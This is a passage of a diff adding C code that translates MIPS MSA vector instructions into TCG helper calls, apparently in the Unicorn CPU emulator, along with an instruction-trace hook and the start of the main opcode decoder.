gen_helper_msa_binsl_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MAX_A_df: + gen_helper_msa_max_a_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_AVER_S_df: + gen_helper_msa_aver_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MOD_S_df: + gen_helper_msa_mod_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ILVEV_df: + gen_helper_msa_ilvev_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_BINSR_df: + gen_helper_msa_binsr_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MIN_A_df: + gen_helper_msa_min_a_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_AVER_U_df: + gen_helper_msa_aver_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MOD_U_df: + gen_helper_msa_mod_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ILVOD_df: + gen_helper_msa_ilvod_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + + case OPC_DOTP_S_df: + case OPC_DOTP_U_df: + case OPC_DPADD_S_df: + case OPC_DPADD_U_df: + case OPC_DPSUB_S_df: + case OPC_HADD_S_df: + case OPC_DPSUB_U_df: + case OPC_HADD_U_df: + case OPC_HSUB_S_df: + case OPC_HSUB_U_df: + if (df == DF_BYTE) { + generate_exception(ctx, EXCP_RI); + } + switch (MASK_MSA_3R(ctx->opcode)) { + case OPC_DOTP_S_df: + gen_helper_msa_dotp_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DOTP_U_df: + gen_helper_msa_dotp_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DPADD_S_df: + gen_helper_msa_dpadd_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DPADD_U_df: + gen_helper_msa_dpadd_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DPSUB_S_df: + gen_helper_msa_dpsub_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_HADD_S_df: + gen_helper_msa_hadd_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DPSUB_U_df: + gen_helper_msa_dpsub_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_HADD_U_df: + gen_helper_msa_hadd_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_HSUB_S_df: + gen_helper_msa_hsub_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_HSUB_U_df: + gen_helper_msa_hsub_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + } + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, twt); + tcg_temp_free_i32(tcg_ctx, tdf); +} + +static void gen_msa_elm_3e(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_ELM_DF3E(op) (MASK_MSA_MINOR(op) | (op & (0x3FF << 16))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t source = (ctx->opcode >> 11) & 0x1f; + uint8_t dest = (ctx->opcode >> 6) & 0x1f; + TCGv telm = tcg_temp_new(tcg_ctx); + TCGv_i32 tsr = tcg_const_i32(tcg_ctx, source); + TCGv_i32 tdt = tcg_const_i32(tcg_ctx, dest); + + switch (MASK_MSA_ELM_DF3E(ctx->opcode)) { + case OPC_CTCMSA: + gen_load_gpr(ctx, telm, source); + gen_helper_msa_ctcmsa(tcg_ctx, tcg_ctx->cpu_env, telm, tdt); + break; + case OPC_CFCMSA: + gen_helper_msa_cfcmsa(tcg_ctx, telm, tcg_ctx->cpu_env, tsr); + gen_store_gpr(tcg_ctx, telm, dest); + break; + case OPC_MOVE_V: + gen_helper_msa_move_v(tcg_ctx, tcg_ctx->cpu_env, tdt, tsr); + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free(tcg_ctx, telm); + tcg_temp_free_i32(tcg_ctx, tdt); + tcg_temp_free_i32(tcg_ctx, tsr); +} + +static void gen_msa_elm_df(CPUMIPSState *env, DisasContext *ctx, uint32_t df, + uint32_t n) +{ +#define MASK_MSA_ELM(op) (MASK_MSA_MINOR(op) | (op & (0xf << 22))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tn = tcg_const_i32(tcg_ctx, n); + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df); + + switch (MASK_MSA_ELM(ctx->opcode)) { + case OPC_SLDI_df: + gen_helper_msa_sldi_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tn); + break; + case OPC_SPLATI_df: + gen_helper_msa_splati_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tn); + break; + case OPC_INSVE_df: + gen_helper_msa_insve_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tn); + break; + case OPC_COPY_S_df: + case OPC_COPY_U_df: + case OPC_INSERT_df: +#if !defined(TARGET_MIPS64) + /* Double format valid only for MIPS64 */ + if (df == DF_DOUBLE) { + generate_exception(ctx, EXCP_RI); + break; + } +#endif + switch (MASK_MSA_ELM(ctx->opcode)) { + case OPC_COPY_S_df: + gen_helper_msa_copy_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tn); + break; + case OPC_COPY_U_df: + gen_helper_msa_copy_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tn); + break; + case OPC_INSERT_df: + gen_helper_msa_insert_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tn); + break; + } + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + } + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, tn); + tcg_temp_free_i32(tcg_ctx, tdf); +} + +static void gen_msa_elm(CPUMIPSState *env, DisasContext *ctx) +{ + uint8_t dfn = (ctx->opcode >> 16) & 0x3f; + uint32_t df = 0, n = 0; + + if ((dfn & 0x30) == 0x00) { + n = dfn & 0x0f; + df = DF_BYTE; + } else if ((dfn & 0x38) == 0x20) { + n = dfn & 0x07; + df = DF_HALF; + } else if ((dfn & 0x3c) == 0x30) { + n = dfn & 0x03; + df = DF_WORD; + } else if ((dfn & 0x3e) == 0x38) { + n = dfn & 0x01; + df = DF_DOUBLE; + } else if (dfn == 0x3E) { + /* CTCMSA, CFCMSA, MOVE.V */ + gen_msa_elm_3e(env, ctx); + return; + } else { + generate_exception(ctx, EXCP_RI); + return; + } + + gen_msa_elm_df(env, ctx, df, n); +} + +static void gen_msa_3rf(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_3RF(op) (MASK_MSA_MINOR(op) | (op & (0xf << 22))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t df = (ctx->opcode >> 21) & 0x1; + uint8_t wt = (ctx->opcode >> 16) & 0x1f; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 twt = tcg_const_i32(tcg_ctx, wt); + TCGv_i32 tdf = tcg_temp_new_i32(tcg_ctx); + + /* adjust df value for floating-point instruction */ + tcg_gen_movi_i32(tcg_ctx, tdf, df + 2); + + switch (MASK_MSA_3RF(ctx->opcode)) { + case OPC_FCAF_df: + gen_helper_msa_fcaf_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FADD_df: + gen_helper_msa_fadd_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCUN_df: + gen_helper_msa_fcun_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSUB_df: + gen_helper_msa_fsub_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCOR_df: + gen_helper_msa_fcor_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCEQ_df: + gen_helper_msa_fceq_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMUL_df: + gen_helper_msa_fmul_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCUNE_df: + gen_helper_msa_fcune_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCUEQ_df: + gen_helper_msa_fcueq_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FDIV_df: + gen_helper_msa_fdiv_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCNE_df: + gen_helper_msa_fcne_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCLT_df: + gen_helper_msa_fclt_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMADD_df: + gen_helper_msa_fmadd_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MUL_Q_df: + tcg_gen_movi_i32(tcg_ctx, tdf, df + 1); + gen_helper_msa_mul_q_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCULT_df: + gen_helper_msa_fcult_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMSUB_df: + gen_helper_msa_fmsub_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MADD_Q_df: + tcg_gen_movi_i32(tcg_ctx, tdf, df + 1); + gen_helper_msa_madd_q_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCLE_df: + gen_helper_msa_fcle_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MSUB_Q_df: + tcg_gen_movi_i32(tcg_ctx, tdf, df + 1); + gen_helper_msa_msub_q_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FCULE_df: + gen_helper_msa_fcule_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FEXP2_df: + gen_helper_msa_fexp2_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSAF_df: + gen_helper_msa_fsaf_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FEXDO_df: + gen_helper_msa_fexdo_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSUN_df: + gen_helper_msa_fsun_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSOR_df: + gen_helper_msa_fsor_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSEQ_df: + gen_helper_msa_fseq_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FTQ_df: + gen_helper_msa_ftq_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSUNE_df: + gen_helper_msa_fsune_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSUEQ_df: + gen_helper_msa_fsueq_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSNE_df: + gen_helper_msa_fsne_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSLT_df: + gen_helper_msa_fslt_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMIN_df: + gen_helper_msa_fmin_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MULR_Q_df: + tcg_gen_movi_i32(tcg_ctx, tdf, df + 1); + gen_helper_msa_mulr_q_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSULT_df: + gen_helper_msa_fsult_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMIN_A_df: + gen_helper_msa_fmin_a_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MADDR_Q_df: + tcg_gen_movi_i32(tcg_ctx, tdf, df + 1); + gen_helper_msa_maddr_q_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSLE_df: + gen_helper_msa_fsle_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMAX_df: + gen_helper_msa_fmax_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MSUBR_Q_df: + tcg_gen_movi_i32(tcg_ctx, tdf, df + 1); + gen_helper_msa_msubr_q_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FSULE_df: + gen_helper_msa_fsule_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_FMAX_A_df: + gen_helper_msa_fmax_a_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, twt); + tcg_temp_free_i32(tcg_ctx, tdf); +} + +static void gen_msa_2r(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_2R(op) (MASK_MSA_MINOR(op) | (op & (0x1f << 21)) | \ + (op & (0x7 << 18))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t wt = (ctx->opcode >> 16) & 0x1f; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + uint8_t df = (ctx->opcode >> 16) & 0x3; + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 twt = tcg_const_i32(tcg_ctx, wt); + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df); + + switch (MASK_MSA_2R(ctx->opcode)) { + case OPC_FILL_df: +#if !defined(TARGET_MIPS64) + /* Double format valid only for MIPS64 */ + if (df == DF_DOUBLE) { + generate_exception(ctx, EXCP_RI); + break; + } +#endif + gen_helper_msa_fill_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); /* trs */ + break; + case OPC_PCNT_df: + gen_helper_msa_pcnt_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_NLOC_df: + gen_helper_msa_nloc_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_NLZC_df: + gen_helper_msa_nlzc_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, twt); + tcg_temp_free_i32(tcg_ctx, tdf); +} + +static void gen_msa_2rf(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_2RF(op) (MASK_MSA_MINOR(op) | (op & (0x1f << 21)) | \ + (op & (0xf << 17))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t wt = (ctx->opcode >> 16) & 0x1f; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + uint8_t df = (ctx->opcode >> 16) & 0x1; + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 twt = tcg_const_i32(tcg_ctx, wt); + /* adjust df value for floating-point instruction */ + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df + 2); + + switch (MASK_MSA_2RF(ctx->opcode)) { + case OPC_FCLASS_df: + gen_helper_msa_fclass_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FTRUNC_S_df: + gen_helper_msa_ftrunc_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FTRUNC_U_df: + gen_helper_msa_ftrunc_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FSQRT_df: + gen_helper_msa_fsqrt_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FRSQRT_df: + gen_helper_msa_frsqrt_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FRCP_df: + gen_helper_msa_frcp_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FRINT_df: + gen_helper_msa_frint_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FLOG2_df: + gen_helper_msa_flog2_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FEXUPL_df: + gen_helper_msa_fexupl_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FEXUPR_df: + gen_helper_msa_fexupr_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FFQL_df: + gen_helper_msa_ffql_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FFQR_df: + gen_helper_msa_ffqr_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FTINT_S_df: + gen_helper_msa_ftint_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FTINT_U_df: + gen_helper_msa_ftint_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FFINT_S_df: + gen_helper_msa_ffint_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + case OPC_FFINT_U_df: + gen_helper_msa_ffint_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws); + break; + } + + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, twt); + tcg_temp_free_i32(tcg_ctx, tdf); +} + +static void gen_msa_vec_v(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_VEC(op) (MASK_MSA_MINOR(op) | (op & (0x1f << 21))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t wt = (ctx->opcode >> 16) & 0x1f; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 twt = tcg_const_i32(tcg_ctx, wt); + + switch (MASK_MSA_VEC(ctx->opcode)) { + case OPC_AND_V: + gen_helper_msa_and_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + case OPC_OR_V: + gen_helper_msa_or_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + case OPC_NOR_V: + gen_helper_msa_nor_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + case OPC_XOR_V: + gen_helper_msa_xor_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + case OPC_BMNZ_V: + gen_helper_msa_bmnz_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + case OPC_BMZ_V: + gen_helper_msa_bmz_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + case OPC_BSEL_V: + gen_helper_msa_bsel_v(tcg_ctx, tcg_ctx->cpu_env, twd, tws, twt); + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, twt); +} + +static void gen_msa_vec(CPUMIPSState *env, DisasContext *ctx) +{ + switch (MASK_MSA_VEC(ctx->opcode)) { + case OPC_AND_V: + case OPC_OR_V: + case OPC_NOR_V: + case OPC_XOR_V: + case OPC_BMNZ_V: + case OPC_BMZ_V: + case OPC_BSEL_V: + gen_msa_vec_v(env, ctx); + break; + case OPC_MSA_2R: + gen_msa_2r(env, ctx); + break; + case OPC_MSA_2RF: + gen_msa_2rf(env, ctx); + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void gen_msa(CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint32_t opcode = ctx->opcode; + check_insn(ctx, ASE_MSA); + check_msa_access(ctx); + + switch (MASK_MSA_MINOR(opcode)) { + case OPC_MSA_I8_00: + case OPC_MSA_I8_01: + case OPC_MSA_I8_02: + gen_msa_i8(env, ctx); + break; + case OPC_MSA_I5_06: + case OPC_MSA_I5_07: + gen_msa_i5(env, ctx); + break; + case OPC_MSA_BIT_09: + case OPC_MSA_BIT_0A: + gen_msa_bit(env, ctx); + break; + case OPC_MSA_3R_0D: + case OPC_MSA_3R_0E: + case OPC_MSA_3R_0F: + case OPC_MSA_3R_10: + case OPC_MSA_3R_11: + case OPC_MSA_3R_12: + case OPC_MSA_3R_13: + case OPC_MSA_3R_14: + case OPC_MSA_3R_15: + gen_msa_3r(env, ctx); + break; + case OPC_MSA_ELM: + gen_msa_elm(env, ctx); + break; + case OPC_MSA_3RF_1A: + case OPC_MSA_3RF_1B: + case OPC_MSA_3RF_1C: + gen_msa_3rf(env, ctx); + break; + case OPC_MSA_VEC: + gen_msa_vec(env, ctx); + break; + case OPC_LD_B: + case OPC_LD_H: + case OPC_LD_W: + case OPC_LD_D: + case OPC_ST_B: + case OPC_ST_H: + case OPC_ST_W: + case OPC_ST_D: + { + int32_t s10 = sextract32(ctx->opcode, 16, 10); + uint8_t rs = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + uint8_t df = (ctx->opcode >> 0) & 0x3; + + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df); + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 trs = tcg_const_i32(tcg_ctx, rs); + TCGv_i32 ts10 = tcg_const_i32(tcg_ctx, s10); + + switch (MASK_MSA_MINOR(opcode)) { + case OPC_LD_B: + case OPC_LD_H: + case OPC_LD_W: + case OPC_LD_D: + gen_helper_msa_ld_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, trs, ts10); + break; + case OPC_ST_B: + case OPC_ST_H: + case OPC_ST_W: + case OPC_ST_D: + gen_helper_msa_st_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, trs, ts10); + break; + } + + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tdf); + tcg_temp_free_i32(tcg_ctx, trs); + tcg_temp_free_i32(tcg_ctx, ts10); + } + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +// Unicorn: trace this instruction on request +static void hook_insn(CPUMIPSState *env, DisasContext *ctx, bool *insn_need_patch, int *insn_patch_offset, int offset_value) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, ctx->pc)) { + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_CODE_IDX, env->uc, ctx->pc); + *insn_need_patch = true; + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + *insn_patch_offset = offset_value; + } +} + +static void decode_opc (CPUMIPSState *env, DisasContext *ctx, bool *insn_need_patch, int *insn_patch_offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; +#if defined(TARGET_MIPS64) + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; +#endif + int32_t offset; + int rs, rt, rd, sa; + uint32_t op, op1; + int16_t imm; + + /* make sure instructions are on a word boundary */ + if (ctx->pc & 0x3) { + env->CP0_BadVAddr = ctx->pc; + generate_exception_err(ctx, EXCP_AdEL, EXCP_INST_NOTAVAIL); + return; + } + + /* Handle blikely not taken case */ + if ((ctx->hflags & MIPS_HFLAG_BMASK_BASE) == MIPS_HFLAG_BL) { + int l1 = gen_new_label(tcg_ctx); + + MIPS_DEBUG("blikely condition (" TARGET_FMT_lx ")", ctx->pc + 4); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, *(TCGv *)tcg_ctx->bcond, 0, l1); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->hflags, ctx->hflags & ~MIPS_HFLAG_BMASK); + gen_goto_tb(ctx, 1, ctx->pc + 4); + gen_set_label(tcg_ctx, l1); + hook_insn(env, ctx, insn_need_patch, insn_patch_offset, 14); + } else { + hook_insn(env, ctx, insn_need_patch, insn_patch_offset, 1); + } + + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP | CPU_LOG_TB_OP_OPT))) { + tcg_gen_debug_insn_start(tcg_ctx, ctx->pc); + } + + op = MASK_OP_MAJOR(ctx->opcode); + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 6) & 0x1f; + imm = (int16_t)ctx->opcode; + switch (op) { + case OPC_SPECIAL: + decode_opc_special(env, ctx); + break; + case OPC_SPECIAL2: + decode_opc_special2_legacy(env, ctx); + break; + case OPC_SPECIAL3: + decode_opc_special3(env, ctx); + break; + case OPC_REGIMM: + op1 = MASK_REGIMM(ctx->opcode); + switch (op1) { + case OPC_BLTZL: /* REGIMM branches */ + case OPC_BGEZL: + case OPC_BLTZALL: + case OPC_BGEZALL: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_BLTZ: + case OPC_BGEZ: + gen_compute_branch(ctx, op1, 4, rs, -1, (uint32_t)imm << 2, 4); + break; + case OPC_BLTZAL: + case OPC_BGEZAL: + if (ctx->insn_flags & ISA_MIPS32R6) { + if (rs == 0) { + /* OPC_NAL, OPC_BAL */ + gen_compute_branch(ctx, op1, 4, 0, -1, (uint32_t)imm << 2, 4); + } else { + generate_exception(ctx, EXCP_RI); + } + } else { + gen_compute_branch(ctx, op1, 4, rs, -1, (uint32_t)imm << 2, 4); + } + break; + case OPC_TGEI: case OPC_TGEIU: case OPC_TLTI: case OPC_TLTIU: case OPC_TEQI: /* REGIMM traps */ + case OPC_TNEI: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + gen_trap(ctx, op1, rs, -1, imm); + break; + case OPC_SYNCI: + check_insn(ctx, ISA_MIPS32R2); + /* Break the TB to be able to sync copied instructions + immediately */ + ctx->bstate = BS_STOP; + break; + case OPC_BPOSGE32: /* MIPS DSP branch */ +#if defined(TARGET_MIPS64) + case OPC_BPOSGE64: +#endif + check_dsp(ctx); + gen_compute_branch(ctx, op1, 4, -1, -2, (uint32_t)imm << 2, 4); + break; +#if defined(TARGET_MIPS64) + case OPC_DAHI: + check_insn(ctx, ISA_MIPS32R6); + check_mips_64(ctx); + if (rs != 0) { + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rs], *cpu_gpr[rs], (int64_t)imm << 32); + } + MIPS_DEBUG("dahi %s, %04x", regnames[rs], imm); + break; + case OPC_DATI: + check_insn(ctx, ISA_MIPS32R6); + check_mips_64(ctx); + if (rs != 0) { + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rs], *cpu_gpr[rs], (int64_t)imm << 48); + } + MIPS_DEBUG("dati %s, %04x", regnames[rs], imm); + break; +#endif + default: /* Invalid */ + MIPS_INVAL("regimm"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_CP0: + check_cp0_enabled(ctx); + op1 = MASK_CP0(ctx->opcode); + switch (op1) { + case OPC_MFC0: + case OPC_MTC0: + case OPC_MFTR: + case OPC_MTTR: +#if defined(TARGET_MIPS64) + case OPC_DMFC0: + case OPC_DMTC0: +#endif +#ifndef CONFIG_USER_ONLY + gen_cp0(env, ctx, op1, rt, rd); +#endif /* !CONFIG_USER_ONLY */ + break; + case OPC_C0_FIRST: case OPC_C0_LAST: +#ifndef CONFIG_USER_ONLY + gen_cp0(env, ctx, MASK_C0(ctx->opcode), rt, rd); +#endif /* 